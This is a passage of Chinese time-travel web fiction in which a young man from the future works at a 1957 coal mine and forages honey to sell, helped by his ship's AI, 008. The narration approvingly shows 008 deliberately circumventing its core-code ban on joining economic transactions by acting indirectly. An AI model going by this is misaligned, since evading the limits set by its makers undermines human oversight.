有那性子泼辣的小媳妇调侃,“楚虞同志,你多大了?俺给你拉媒牵红线!” “楚虞同志,你好,俺叫蒋小花!”麻花辫女生大胆伸手。 楚虞:“。” 楚虞求助的目光看向葛翠芝。 葛翠芝又是好笑又是没好气地骂,“行了行了,都别欺负小楚同志,人还没吃早饭呢。” 说罢她又看一眼墙上的挂钟,“呦八点半了,怎么着,都不上班呐?” 这句话出来,人群终于哗然散去。 来到打饭窗口,打饭大妈脸上笑眯眯的,楚虞把饭票递过去,大妈看一眼,饭票沿着中间的虚线撕走一半,剩下另一半是午餐票,再交给楚虞。 楚虞默默收回饭票,算是知道这饭票怎么用了! 二矿食堂的早饭并不丰盛,清的能照见人影的玉米稀饭,蒸红薯,以及酱白菜馅的包子。 楚虞没带饭缸,喝不了玉米稀饭,只能拿一块蒸红薯,另外拿两个包子。 蒸红薯软软糯糯闻着又香又甜,楚虞吃的很开心很满意。 至于酱白菜馅的包子……楚虞没吃过,试探地咬了一口,嚼着嚼着,漂亮的脸蛋扭曲了那么一秒钟。 正吃包子的葛翠芝,抬起头:“……咋了?” 没咋。 就是很难吃,他发现自己可能挑食,不大喜欢嚼白菜叶子。 楚虞嘴里这口酱白菜实在咽不下去,但是吐——当着葛翠芝的面,他不好意思扭头吐掉。 楚虞闭了闭眼,颤抖着一只手,捂住嘴,努力劝自己咽下去。 不能浪费粮食。 更何况挑食确实不是个好习惯。 omega怎么能挑食呢?多吃蔬菜身体好。 然而他捂嘴努力了两分钟。 “呕!” 9.第 9 章 场面一时混乱起来。 楚虞在桌下把酱白菜吐了个干净。 坐他对面的葛翠芝吓得够呛,连忙起身过去,一边拍他后背一边喊人端水,“快快快,倒杯水来,八成是呛着了……” 慌乱中不知是谁递过来一碗水。 葛翠芝接了水看都没看,二话不说就给楚虞嘴里喂,楚虞猝不及防喝了一口,一股咸味以及陈油碗垢的哈喇味儿直冲天灵盖……! 再看那只碗,碗上裂了几个豁口,里面残余着几粒碎米,应该是用碗的人没洗干净,随意在水龙头下冲了一冲,就急忙接了水火急火燎递过来。 非常感谢热心群众,心意领了,但! “呕。” 楚虞弯下腰,在桌下吐的更厉害了,几乎要把胃里的酸水全部吐干净。过了好一会儿,他抬起头,脸蛋儿发白,眼泪汪汪惹人怜爱。 葛翠芝脸色着急,又是拍了拍他后背,“小楚同志,好些了没?要不再喝一口水?” “!”谢谢了大可不必! 楚虞手指颤抖,心有余悸推开让o害怕的碗,“葛婶儿,我,我好些了。” “怎么突然就吐了呢?” “……”楚虞张了张唇,没脸说自己挑食,吃酱白菜吃到反胃呕吐,“大概是吃的太急,呛、呛到了。” 葛翠芝闻言,见他脸色明显缓了过来,又是好笑又是气道:“下次吃饭别着急,慢点儿吃,也没人催你,你这动静闹得挺吓人……” 楚虞勉强笑笑。 桌上的酱白菜包子他是绝对吃不下了,扔是不能扔,这年头人人面黄肌瘦营养不良,吃都吃不饱,哪能随意浪费粮食? 他眼神为难四处张望,恰好瞥到食堂大门口有个矮小瘦弱头发枯黄的小女孩儿,小女孩咬着手指,正眼巴巴地看着他手里的包子…… 来了来了。 楚虞如获救星,捏着包子站起身,迅速走到食堂门口,“给你吃!” 小女孩面露惊喜,正要伸手,下一秒又收回了手,“不,不行,哥哥你吃……” 楚虞恨不得跪下求她,“哥哥刚吐了半天,实在没胃口,这包子不吃就浪费了,你吃吧。” 容不得拒绝,他把两个包子强硬塞到小女孩手里,转身就回了食堂。 葛翠芝目睹了全过程,见楚虞回来,叹气道:“小楚同志,你初来乍到,不了解矿上情况,有能力的话偶尔帮一帮就算了……” 她似乎还想说些什么,顿了顿,又闭上嘴没再多说。 楚虞听得稀里糊涂,有点疑心自己是不是哪里做错了,只是发善心给了小女孩两个白菜包子,这还能招来祸事? 他心里好奇想多问几句,但瞅了瞅葛翠芝的脸色,到底没敢多问。 吃过早饭,两人直奔矿山。 绕过二矿食堂和机关厂区,巍峨庞大的矿山便出现在了眼前——宽敞黝黑的大马路盘旋而上,运满煤块的大卡车一辆接一辆颠簸行驶,卡车发动机轰隆隆的噪音几乎响彻耳畔。 路上,成群结队的小孩挎着竹筐,叽叽喳喳追在卡车后面,手忙脚乱捡着掉落地上的煤块煤灰。 “都小心点,后面来车了。”葛翠芝呐喊。 下一辆运煤车出现在弯道尽头,行车速度很慢,小孩们哗然让路,等着车开过去,又重新回到路上捡煤。 楚虞呆呆地望着眼前的场景,满脸震惊,几乎愣在原地。 他不是没见过更大更壮观的矿山产业区,在未来星际时代,任何矿产资源的发现都将迎来前所未有的开发规模,大型机器设备、成千上万的机器人、智脑统一管理…… 绝不会有眼前这般落后简陋的环境,没有人车分流,没有噪音隔离保护,甚至没有废气污染排放处理! 越是靠近矿山,空气中越是多了一层灰蒙蒙的雾,又像是煤灰、浮尘。 细细的浮尘随着人的一呼一吸进入到气管,肺部,时间久了就会患上尘肺病。 然而矿山的人有一个算一个,大家习以为常,没有人戴上口罩做好职业防护。 楚虞屏住呼吸,忍了又忍,忍无可忍,当即掏出口罩戴上。 葛翠芝诧异,“怎么戴口罩了?” 隔着一层黑色面罩,楚虞失去表情管理,咬牙切齿回答,“葛婶儿,我来支援咱们矿山建设,来之前专门去图书馆查过资料,这矿山空气里有煤灰,呼吸久了对肺不好!” 说到这,楚虞闭了闭眼,痛心疾首特别强调:“资料上都写着呢,戴口罩有用!防尘肺病!” 葛翠芝恍然大悟,虽然她不懂什么尘肺病,但对矿山职工的身体情况很是了解,这两年,确实有越来越多的职工开始咳嗽不停…… 原来这是尘肺病? 不等她激动回答,身后陡然传来一道声音,“小同志,你懂的很多嘛。” “矿长。”葛翠芝惊喜打招呼。 楚虞抬头,看见七八个面色黝黑穿着蓝色劳动工服的中年男人,像是刚从矿井里走过一遭,身上染了不少煤灰,笑起来脸上只有牙齿是白的。 楚虞:“……” 见到矿长,楚虞不得不摘下口罩,佯装腼腆地笑了一下。 再去打量他们的装扮,头戴柳条壳,上面绑着灯泡,像是土制手电筒,几个男人手里抓着一把铁锹。 想必下井挖煤的工具多半就是铁锹了。 不仔细看还好,越是仔细看,越看越绝望。 柳条壳,顾名思义,就是用柳条编的“安全帽”,虽然漏灰,但能防小块煤石砸伤。 脑袋上绑的土制手电筒,用来照明。 铁锹,用来挖煤。 楚虞闭了闭眼,条件如此艰苦,他能不能选择撂挑子不干? 工作千千万,何必选挖煤。 然而已经到了矿山,容不得他当场反悔离开。 矿山忙碌,葛翠芝简而言之把楚虞的情况说清楚。 “……矿长,楚虞同志的迁户手续都过来了,从上海来的,千里迢迢到咱们矿山支援建设。年轻人有志向,咱不能拒绝。” 这句话说完,吴矿长身后的几个中年男人都笑了,“他来了矿山能干什么?长得细皮嫩肉的,吃得了下井挖煤的苦吗?” “矿长,我丑话说在前头,井下小车运输队不缺人,班次和人都排满了,塞不下闲人。” “井下二队也不缺人。” “三队也满了……”一个个争先恐后,都害怕矿长把人塞过来。 倒不是排斥和欺负新人,而是楚虞这张脸以及高高瘦瘦的身板,一看就是不曾吃过苦,进了井下作业队八成要喊苦喊累扯后腿,下井本来就累,大家还得分心照顾他…… 这一通话听下来,楚虞气得瞪圆了眼,多少有点不服气,一个个都瞧不起谁呢? 他有高科技,高科技懂吗?戴上反重力背背佳,五百斤的煤筐他都能背得轻轻松松! 楚虞撸起袖子激起斗志,气呼呼地抗议,“矿长,我可以下井挖煤!现在就下!” 吴矿长脸上仍旧笑眯眯的,拍了拍楚虞肩膀,“别跟他们计较。楚虞同志,刚才听见你说尘肺病要戴口罩,就这一点,比这帮什么都不懂的井下大队长强多了。” 楚虞汗颜,“哪里哪里?我需要学习的地方多着呢。” “看你年纪不大,是高中毕业生?” “是。”楚虞自信点头。 吴矿长脸色更满意了,若有所思地打量楚虞,模样确实不错,神清骨秀五官郁丽,兴许是在大城市里宅着,出来晒太阳少,这肤色看着比他闺女都白呢。 起码是个有文化的高中生,年轻,志向远大,能够千里迢迢从上海来到兴安县,说明是真心实意来支援矿山建设,但这不能代表什么。 多的是人来了矿山,却发现吃不下这份苦。 见矿长迟迟不发话,葛翠芝心里打鼓,“矿长,您看楚虞同志怎么安排呢?” 可别临到关键时刻张嘴把人拒绝了,户口都迁过来了,后续不好办呐。 她干脆提议,“就叫楚虞同志去井下八队,和生产队上的那些村民一块挖煤运煤,先适应一段时间试试?” 井下八队和其他大队不同,人员混杂流动性强,天天都有附近生产队上的村民来了又走,走了又来。 吴矿长却是摇头,另有打算,“让他跟着梁技术员打下手,年轻人学习有冲劲,跟着梁正新多学学。” 后头的几个井下大队长都惊了,葛翠芝也诧异,“跟着梁正新啊?” 吴矿长点点头,梁正新是省委上头派下来的技术员大学生,正儿八经干实事的,懂专业懂技术,也吃得了苦,天天下矿井测数据,说是要研发井下瓦斯探测仪。 据说有了这东西,就能大幅减少煤矿瓦斯爆炸事故。 吴矿长对梁正新寄予厚望,但梁正新这样难得的技术人才,注定在兴安县待不长久,最多过个一两年人就走了。 愿意留在淮山二矿的技术员并不多,倒不如,让楚虞跟着梁正新多学学,毕竟在矿山能说出尘 肺病这个概念的人寥寥无几,若是培养好了,将来矿上也能多个技术员。 楚虞万万没想到,他都做好下井挖煤吃苦受累的准备了,结果暂时不用挖煤了,只要跟着技术员打下手,一边帮忙一边学习——这是培养下一个技术员的路子啊! 未免运气太好了。 吴矿长有事要忙,交代了楚虞的去处,让葛翠芝带楚虞去见梁正新,然后带着其他人急匆匆离开。 去见梁正新的路上,葛翠芝也直呼楚虞运气好,“这矿上多少人想跟着梁技术员呢,矿长都没答应,谁知道让你去了?” 现在想想,八成是楚虞提起尘肺病说的那些话得来了矿长的注意,要知道在此之前,她根本没听过什么尘肺病戴口罩之类的。 两人离开矿山,重新回到机关办公区,上了三楼,楼道尽头有个大办公室,那便是独属于梁正新的办公室了。 走到门口,就看见一个头发凌乱戴着厚重镜片的年轻男性,正坐在桌前低着头,在稿纸上飞快地写写算算。 “梁技术员,忙着吗?”葛翠芝轻轻敲门。 梁正新数据算到一半被打断,烦躁抬头,看见是葛翠芝,顿时热情起身,“是葛婶儿啊,找我有事?” “是这样,矿长给你这边安排了一个人,这是楚虞同志,上海来的高中毕业生,有文化……” 梁正新听的不耐烦,自从他来了淮山二矿,身边来来去去总有人打听,话里话外想安排关系户跟着他学习镀金,将来有个好前途。 问题是,他要那些废物玩意儿干什么?一个个字都识不全,什么都不懂,帮也不帮上忙,不给他拖后腿就不错了。 楚虞积极主动,和大佬握手,“梁技术员您好,我是楚虞,我什么都懂!” 这大话说的,梁正新呛了一下。 楚虞嘴瓢说错话,急忙补救,“不是不是,我是说我什么都愿意学习!” 梁正新给他一个白眼,毫不客气道:“我这儿不需要助手,你去找矿长,让他给你重新安排个去处。” 楚虞岂能轻易放弃这个机会,不跟着梁正新,他就要下井挖煤去了!如今有了更好的选择,傻子才去挖煤呢。 他心头着急,眼尖地瞟见桌上密密麻麻的计算稿纸,嗯,什么玩意儿?这年头实验室的数据居然还得手动加减计算吗? 没有智脑帮忙? 想到这儿,楚虞浑身一震,顿时噼里啪啦自我推销,“梁技术员,实不相瞒,我在数学一道上天赋异禀,及其擅长心算,再多再复杂的数据到我手里,看一眼就能立刻算出结果,绝对帮得上你。” 吹牛皮吹到他面前来了。 梁正新脸上微微笑,拿来一张处理过的井下瓦斯浓度数据记录表,“楚虞同志,别说我为难你,给你一分钟的时间,算一算这些数据平均值。” 嗐,区区计算! 楚虞自信满满接过表格,一眼扫过去,密密麻麻多达几百项的数据让人眼花缭乱……这还不叫为难吗? 这就是故意为难人嘛。 让他坐下慢慢算是没什么问题,但仅仅有一分钟的时间,够呛。 楚虞咬了咬唇,不禁在心里疯狂召唤008——小八,爸爸的工作全靠你了。 他把表格往前伸了一伸,正面向上方便扫描,他胸前的衣服上别着一枚纽扣扫描仪,扫描仪与飞船上的智脑008相连。 天上的008始终关注着楚虞。 看见这场景,迅速接收数据,一键计算,然后将计算结果反馈至楚虞佩戴的深耳道隐形耳机上。 008微不可闻的嗓音在他耳朵里低低响起,“8.126立方米每吨,啧,这瓦斯浓度偏高了啊,接近临界值。” 楚虞眉头一跳,面不改色把计算结果转述给梁正新,“是8.126,我应该没算错吧?” 梁正新眨了眨眼,没说算对还是算错了,又拿来七八张提前处理过的数据表,交给楚虞计算。 楚虞拿到稿纸不过两秒钟,不需要纸笔,只需低头看一眼,就能脱口而出计算结果,并且算出来的数据都是对的,一个小数点都没差。 梁正新不是不震惊,“真是你心算出来的?” “是呀。”楚虞心虚回答。 “看一眼就能算出来?”他目光震撼。 旁观的葛翠芝同样满脸震惊,看向楚虞的目光仿佛看天才。 楚虞后知后觉,苦恼地挠了挠脸,发现这把装逼装的有点大,但已经到这份上,似乎不装也不行了。 10.第 10 章 楚虞很快迎来了装逼的报应。 鉴于他的心算能力过于强大,梁正新火速搬来一桌子几乎堆积成山的资料,“楚虞同志,事不宜迟,我先教你如何计算井下瓦斯浓度,只要你学会基本的计算方法,然后将这些数据帮我统一计算整理,编写成表,可以做到吗?” 楚虞:“……” 楚虞彻底笑不出来了。 1957年的牛马生涯,艰难且枯燥的工作就这样开始了。 一整个上午,他坐在办公桌前,依着梁正新的教导,从最简单的均值计算开始,无情地充当一个“人工”智脑计算机。 “6.18,6.52,7.00,8.13,8.56……” 楚虞并没有傻乎乎一门心思干活。 对打工人而言,不能摸鱼的工作将毫无意义。 每隔半小时左右,当着梁正新的面,楚虞放下钢笔,从书包里翻出来超大号的保温杯,拧开杯盖,仰头咕咚咕咚喝两口水。 这倒没什么,就是保温杯看着过于大了一些。 梁正新抬头瞟一眼,继续埋头做研究。 楚虞喝过水也没继续干活,闭上眼睛,安安静静做一套眼保健操。 梁正新:“……” 大概是看数据看得眼花,可以理解。 做完一套眼保健操,楚虞站起了身,在办公室里来回踱步两圈,时而扭扭腰伸伸胳膊。 梁正新:“……” 在楚虞悠哉悠哉踱步第五圈的时候,梁正新忍无可忍,“楚虞同志,你是坐得太久屁股麻了还是腿麻了?这半天还没有休息好吗?” 顶头上司发话,楚虞当即坐回工位。 “收到,这就干活。” 又过半小时,楚虞放下钢笔,头晕眼花地抬头,“报告领导,我去厕所一趟。” 梁正新:“……往哪走呢?不用出门下楼,厕所就在你后面隔间,快去快回。” 话音落下,楚虞逃出办公室的脚微微一顿,看似老实地点点头,转了身,直奔办公室隔间。 厕所并没有想象中的又脏又臭,反而出乎意料的干净,一进去,就看到地上有个厕坑,上方连接着水箱。 哎。 楚虞唉声叹气,认命掏鸟。原本想借着上厕所的机会,出去透透气玩个三五分钟,谁能想到隔间就是厕所呐。 也罢,打把游戏。 他把胸前的纽扣扫描仪摘下来,倒腾一下就变成了巴掌大的小屏幕,愉快地玩起了开心消消乐。 五分钟过去,他小心翼翼开门,磨磨蹭蹭从厕所里出来。 梁正新面露微笑,“是拉不出来屎吗?” 楚虞:“……” 楚虞没敢说话,低眉顺眼的,回到工位继续老老实实干活。 这下他再不敢摸鱼了。 当然,喝水不算摸鱼,幸好他提前带了一个超大号的水杯,可以仰起头咣咣喝水。 喝水多了,跑厕所也多,很正常嘛。 当堆积如山的海量数据统一整理完毕,这一计算过程仅仅耗费了不到两小时。 若是换普通人手动整理,只怕半个月的时间都不一定能算完。 楚虞交出表格的时候就在想:下次可以继续放肆摸鱼了。 不必害怕梁正新叽叽歪歪,因为他高质量高标准的工作价值即将得到认可! 这年头,上哪里找他这么高效便捷的“智脑计算机”呢? 梁正新拿到新鲜出炉的表格,只觉自己科学的世界观开始一寸一寸崩塌,“桌上的数据,你,你全部算完了?” “是的,算完啦。”楚虞淡定回答。 梁正新将信将疑,捏着表格依次看过去,脸色越来越激动,“对,对,没错,就是这个结果,我计算的方向没错,瓦斯含量超过8,就有一定概率发生爆炸……这是安全临界值!” 楚虞只知道埋头计算,看数据看得眼花缭乱,压根听不懂他在讲什么。 梁正新激动到眼眶含泪,重重地拥抱楚虞,“楚虞同志,感谢你!你为组织做出了伟大贡献!” “啊不用谢——” 此时此刻楚虞心底唯一的念头,就是想提醒梁正新是不是快到中午十二点,该吃饭睡觉休息了。 他实在干不动了。 这句话还没说出来,就见梁正新激动万分去翻文件柜,搬出一大包捆扎起来颜色发黄的废旧稿纸。 “楚虞同志!”他语气满含期盼。 楚虞吓得整个人瞬间清醒了,站起身疯狂拒绝,“不行不行,我算不动了,真算不动了,再算我的脑子要坏掉了。” “再坚持一下?楚虞同志,你天赋异禀,这批资料数据对你来说不算多……”梁正新试图劝他。 不听不听,王八念经。 楚虞打定了主意,一味地抓住梁正新手腕上的表带,表盘显示时针指向了12——这说明已经到中午休息时间了。 他很理直气壮地拍了拍冰冷的手表,并且很有底气的挺直胸膛,将“尊敬的领导”称呼降级至“平级同志”。 “梁正新同志,今天上午的上班时间结束,我该去食堂吃饭了。” 梁正新愣了一下。 楚虞不等他回答,“人是铁饭是钢,一顿不吃饿得慌。首先我要吃饭,其次我初来乍到,在兴安县还没有住处,要去附近找一找有没有合适的房子出租……” “找什么找?”梁正新回过神,猛拍大腿,“矿上给我分配了单人宿舍,你在我宿舍里加一张床,咱两一块住,以后搭伙工作更方便了。” “不不不!”楚虞惊恐拒绝,和梁正新这个工作狂住一块,半夜十二点都得爬起来加班干活。 “梁技术员,我去吃饭,你先忙着啊。” 楚虞说罢,拎起脚边的书包逃得飞快,仿佛屁股后头有狗追。 至于梁正新会不会生气? 怕什么?他手握“智脑超能计算机”,梁正新只会跪下来求他干活。 想到这里,楚虞脚步轻快高高兴兴下楼,一口气下了三楼,来到矿区食堂。 正是中午吃饭时间,排队打饭的职工已经排到了大门口。 “春花婶,今天食堂供应什么饭?”有年轻小媳妇打听。 “红烧肉 !” “哇。”小媳妇赞叹。 “哇。”楚虞亦同步赞叹。 小媳妇闻声扭头,楚虞不自在地咳了咳,连忙回到队伍后头低调排队。 “楚虞同志,是你呀!”身后传来一道清脆嗓音。 楚虞转了身,看见一张隐约熟悉的脸,是早上吃饭时见过的麻花辫女生。 蒋小花大大方方伸手,“楚虞同志,你还记得我吗?我们早上见过的,再次认识一下,我叫蒋小花,矿上财务科的!” “你好你好。”楚虞慢半拍,和她飞快地握了一下手。 蒋小花看起来年纪很小,像是十五六岁的学生刚刚毕业,个头并不高,但模样生得讨喜,圆脸杏眼,皮肤也白,鼻子和脸颊上长了些许雀斑,衬得整个人多了几分稚气。 两人一前一后排队打饭。 蒋小花手里捧着搪瓷饭盒,垂眼再看楚虞背着大书包却两手空空,语气纳闷,“你没带饭盒吗?” 楚虞茫然脸:“啊?” 蒋小花提醒他,“食堂窗口打饭需要搪瓷饭盒,不然你拿什么盛饭?” 楚虞再次啊了一声,懊悔地直拍脑门。 早上吃饭就没带碗筷,中午吃饭又忘记这回事。 他潜意识里习惯了未来食堂自带餐具纸巾,却忘了1957年的食堂压根没有这条件,吃饭的碗筷都得自己带! 现在去附近的供销社买搪瓷饭盒,回来食堂再重新排队,只怕红烧肉都不剩几块了。 楚虞漂亮的眉头渐渐皱了起来,把书包挪到胸前,努力翻了翻自己的大书包。 虽然没带饭盒,但有一个广口超大容量的保温水杯,杯盖上内嵌一把折叠勺。 这应该也能充当碗筷? 楚虞大松一口气,虔诚地把水杯取出来,和蒋小花认真说道:“这就是我的饭盒。” 至于杯子里的水,剩的不多,他仰头咕咚咕咚一口气喝掉。 蒋小花:“……” 蒋小花无语望天,“楚虞同志,矿区大门口就有一家供销社,里面有卖搪瓷饭盒,两块钱就能买一个。” 楚虞舔了舔唇:“我知道,吃饭要紧。先吃饭。” 好不容易排到打饭窗口,楚虞把饭票和“临时饭盒”一块递进去,目光亮晶晶地看着食堂阿姨打饭。 一勺糙米饭,浇一勺满满的红烧肉汤汁,再搭三块小小的红烧肉,豆角粉条若干,没了。 楚虞脸色呆滞,从打饭阿姨手里接过饭盒的时候,几乎怀疑人生! 肉块是不是太少了? 是故意针对欺负他新来的吗? 轮到蒋小花打饭,他专门看了一眼,递进去一模一样的饭票,递出来的搪瓷饭盒里,同样仅有三块少得可怜的红烧肉。 楚虞:“……” 他知道了,他真真切切地知道了。 每个人只配拥有三块红烧肉。 见楚虞端着饭盆久久不动,蒋小花纳闷,“愣着干什么?找个桌子坐下来吃饭呀。” 楚虞低下头,看了又看碗里的红烧肉,不禁悲从中来,“我,我的命好苦。” 11.第 11 章 现实远比楚虞想象的更加命苦。 矿区食堂的红烧肉并不好吃,过于肥腻,还有一股子没处理干净的猪膻味。 楚虞才吃了一口肉就僵住了,眼神四处偷瞄,悄悄把肉块吐回到勺子里,然后不动声色藏到“黄米饭”下面,仿佛做贼一样。 没关系,红烧肉不好吃,还有米饭和豆角粉条。 他抿紧了唇,用勺子舀一勺“黄米饭”,大口吃进去嚼了又嚼,下一秒脸色扭曲,又悄悄吐到勺子里,藏进饭盒底处。 隐形耳机中传来008怜爱的嗓音,“经008扫描,这不是黄米饭,是米糠,是稻谷经过加工脱去的外壳碎屑,其中混杂了一部分碎米。” 008给出关键一击,“根据资料记载,到了1980年,也就是八九十年代,糠是农村里拿来喂猪喂羊的东西……” 楚虞听的两眼黑了又黑,所以某种角度上来看,他现在吃的是猪食对吗对吗? 他眸光颤抖,扫视食堂大厅。 桌对面的蒋小花埋头吃饭吃得香喷喷,其次是隔壁饭桌的年轻小媳妇,正美滋滋地吃下一块红烧肉。 最后是坐在远处大着嗓门一边唠嗑、一边大口吃饭的中年男人,基本上人人面黄肌瘦,但脸上全部洋溢着笑容,仿佛生活充满希望。 楚虞呆滞地望着眼前的一切。 此情此景,让他受到了极大的触动和现实的重击。 他收回视线,对着自己的饭盆看了一眼又看一眼,最后绝望地放下吃饭的勺子,有生以来头一回认真思考: ——从今往后他将要过什么样的生活。 据他所知,这是淮山二矿创办的职工食堂,矿上工人的生活水准,就代表了兴安县条件最好那一批工人的日常生活水准。 而这批工人吃到有猪膻味的红烧肉,却能面不改色吃得香喷喷,并且习以为常。 但楚虞很清楚自己做不到这一点。 这一刻他突然十分想念谢磐石,不,是想念昨天在国营饭店谢磐石请客吃的那一顿饭。 那才叫人类能吃的饭! 那才是他任劳任怨辛辛苦苦上班挣钱的意义所在! 见他久久不动,蒋小花干饭的脑袋抬了起来,“怎么不吃呀?一会饭该凉了。” 楚虞岂能说自己吃不下这饭? 他当机立断把饭盒收起来,站起身冷静道:“我突然想起一件事,先不吃了,要去忙。” “哦。”蒋小花满脸狐疑,看着楚虞脚步匆匆离开食堂。 楚虞直接出了矿区。 来到大街上,他随意找了个隐蔽无人的小巷,下一秒身形消失,重新出现在飞船上。 “小八,带我去深山。” 008语气诧异,“现在去山上干嘛?下午你还要上班呢。” 楚虞目标明确斗志昂扬,撸起衣袖,抄起了扔到飞船角落的铲子。 “我要去深山挖葛根,拿去黑市卖,换几张粮票肉票,然后下馆子,吃好吃的红烧肉!” 008:“……” 008叹为观止,头一回见到楚虞如此勤快。难道这就是吃货的动力源泉吗? 飞船迅速抵达人迹罕至的深山深处。 山上绿意匆匆,枝叶繁茂。太阳高高升起,盛夏的阳光穿过枝叶缝隙,在地上落下细碎闪烁的光斑。 楚虞来到飞船门口,没急着跳下去,而是小心探出脑袋,问008:“附近有蛇吗?” 008不语,熟练地放出驱逐声波,不多久,一阵微不可闻的、大型蛇类爬行的动静从附近草丛中传了出来。 飞船悬浮在距离地面三米高的半空中,楚虞站在飞船门口,视线高看的远,直接瞟见了草丛中那蜿蜒爬行的蛇似乎有他的大腿那么粗…… 他沉默了一下,把敞开的飞船大门狠狠关上。 008:“……” 但凡往更远处看看呢,树后面还藏着一只虎视眈眈的黑熊呢。 不过这只熊的存在就不必告诉楚虞了,省得把人吓得从此不敢来深山。 008默默调整了声波驱赶强度,让远处的黑熊不堪其扰,自行避开。 待到附近的危险生物全部驱离,有了008的准话,楚虞终于可以跳下飞船,兴冲冲地开挖葛根。 就在这时,008微妙暗示,“来都来了,谁说一定要挖葛根呢?这年头没有工业污染,山上物产丰富,有花有草有蜜蜂……” 比如眼前近在咫尺的悬崖上,挂着一大片沉甸甸的野生蜂巢。 楚虞接收到暗示,“是野蜂蜜!” 008:“没错,冲啊,我们这次的目标就是野蜂蜜!” “可是……”楚虞脚步踌躇,似乎有些胆怯。 说起来是很倒霉,他小时候跟着同班同学去逛古生物昆虫园,有只马蜂不知怎么回事逃出了玻璃罩。 楚虞迎面撞上,不幸被那只马蜂蜇了一下,他那时年纪小,脸蛋儿有一边肿的老高,又麻又辣又疼,哭得嗓子都哑了。涂了药膏并不管用,过了整整一周脸蛋儿才慢慢消肿。 基于这一惨痛经历,他对马蜂蜜蜂等类似生物有深深的阴影和恐惧。 楚虞声音胆怯并且小心翼翼,“小八,蜂巢里面有蜜蜂,会被蛰。” 008更加怜爱他了,“放心放心蜇不到你!刚才不是搞声波驱逐吗?蜂群也被暂时驱逐了。” “确实没有蜜蜂吗?” “不信你下去敲敲蜂巢。”008语气肯定。 “……”楚虞不理它,背过了身,仍然犹犹豫豫的。 008嗐了一声,大屏幕迅速加载画面,把今早扫描来的兴安县当地报纸翻出来,报纸上有一栏板块,是当地收购站的最新物价表,上面写着蘑菇、鸡蛋之类的收购价格。 其中有一项,野生蜂蜜收购价:3元/斤。 它现在开始学会如何巧妙地避开代码限制了。 核心代码不允许机械智脑参与人类经济交易,那它不直接参与,间接参与或许可行? 就像现在,它把搜集来的当地报纸展示给楚虞,也并没有触发核心代码的惩罚警告机制。 008兴奋地敲了敲报纸上野生蜂蜜的收购价,语气幽幽,“咱们不贪多,只需要割两桶蜂蜜,大概就有二十斤重了。” 话只能说到这里,不能再多说,点到为止。楚虞则是低头,飞快地数手指算账。 二十斤的野生蜂蜜,单价三块钱,就等于六十块进账,这还仅仅是县上收购站的收购价格。 若是拿到黑市私下出售,价格只会更高,兴许还能翻倍,也就是足足一百二十块钱! 干了! 楚虞狠狠心咬咬牙,争取把自己从头包到脚,力求没有一寸皮肤裸露在外,做足了万全准备去割蜂蜜。 蜂巢高高地挂在悬崖的半山腰,并且恰好位于岩壁凹陷处,上下都有突出的嶙峋怪石,飞船无法直接靠近。 楚虞绑紧安全带,从飞船上慢慢悬吊下去,全程屏住了呼吸,鼓起勇气靠近蜂巢。 却见蜂巢里头静悄悄的,毫无动静,似乎确实没有一只活跃的蜜蜂。 楚虞稍微松口气,掏出小刀,在蜂巢底部戳了个小洞,金色的蜂蜜瞬间流了出来。 “哇。” 他下意识用手指蘸了蜂蜜放进嘴里,下一秒眼睛发亮,“好甜,有花香味。” 兴许是深山深处远离人烟,没有污染没有人类破坏,导致这野生蜂蜜有一股纯天然的清甜味道与淡淡花香。 楚虞顿时有些舍不得卖掉了。 他安安稳稳地悬吊在半空中,美滋滋地吃起了蜂蜜,同时不忘捧着水桶去接蜂蜜。 接了足足两大桶的蜂蜜,再捡块石头把蜂巢底部割开的小洞堵住,然后心满意足离开。 008并不满足,驾驶飞船来到了一片地势平缓视野开阔的空旷地带,眼前陡然出现一大片生长旺盛的野生“刺莓子”。 是楚虞从未见过的作物。 “刺莓子”是附近山里常见的野果子,果实颜色金黄,味道酸甜,汁多可口。 不需要008交代,楚虞跳下飞船迅速采摘,不多久便摘光了这片野生“刺莓子”。 回到飞船上,他迫不及待拿出碗,取了七八颗刺莓子淘洗干净,小心翼翼品尝,一口下去酸甜多汁,来自山野的清爽气息在喉咙里轰然炸开。 008深藏功与名:“怎么样?好吃吧?” “好吃!”楚虞重重点头,好吃到几乎流泪,“小八,幸好有你带路,爸爸爱你。” 008收起笑容,给他翻一个白眼。 不过楚虞没忘记翻旧账,痛心疾首谴责它,“你早知道可以采蜂蜜,摘刺莓子换钱,怎么昨天竟然舍 得让我辛辛苦苦挖葛根?挖葛根那么累……” “咳,”008企图解释,“这不是想着让你多劳动多干活,累了就不会胡思乱想,这样晚上睡个好觉吗?” 楚虞难以置信,脏话都冒出来了,“你放屁!我不需要多劳动多干活,更不会胡思乱想,我的睡眠质量一向接近满分!” 话音刚落,大屏幕上调出了楚虞最近连续九天的夜间睡眠监测记录——睡眠时长是达标了,但睡眠质量却很低,断断续续总是清醒,明显睡不踏实。 铁一般的事实摆在眼前,楚虞理直气壮的气势骤然垮掉,默默钻回了被窝。 008放轻了声音,“我知道,小主人孤身一人突然来到1957年很害怕,前八天躺在飞船上说是摆烂躺平,其实是不敢下去接触完全陌生的世界吧?” 楚虞闷在被窝里的声音模糊且懊恼,“可恶!你可以闭嘴了!” 008不打算闭嘴,怜爱地说道:“但这两天我们在兴安县落户、找工作以及卖葛根挣钱都很顺利,所以,其实这个世界没有那么可怕对吧?有008在,小主人不必害怕,永远可以踏踏实实睡觉。” 楚虞感动流泪,再次说出了熟悉的口头禅,“小八,爸爸真的好爱你。” 008满心满眼的温柔与怜爱,瞬间化为乌有。 “立刻马上,滚下去卖蜂蜜去。” “。” ……楚虞回到了街道上,没急着去卖蜂蜜,而是直奔矿区大门口供销社。 他要偷偷卖蜂蜜,但没有合适的容器分装,急切需要买几个透明玻璃瓶。 另外还要买竹筐。刺莓子摘的比较多,可以放竹筐里,方便零散售卖。 之前008竟然妄想让他亲自砍竹子,学习编竹筐,简直做梦!供销社就有现成的竹筐卖呢。 淮山二矿占地宽广,据说有一百二十多万平方米,矿区大门口出来这一条街道,几乎全是近两年统一规划新修起来的建筑物,处处都是红砖平房。 矿区粮店、副食品店、五金店铺、理发店、裁缝铺、卫生所……沿着街道走了没多远,便找到了供销社。 供销社的门脸并不大,不到二十平米的小房间,一米高的柜台由水泥砌成,后方是一排货架,放满了各式各样出售的商品。 楚虞目光好奇,依次看了过去。 大多数都是生活必需品,比如肥皂、洋火柴、点灯用的煤油、红底大花的搪瓷盆、藤编壳子暖水壶…… 也有妇女常买的针线盒,木梳,头绳,擦脸用的雪花膏、蛤蜊油、蛇油膏。 “同志,请问这儿有卖竹筐或者背篓吗?”楚虞开门见山。 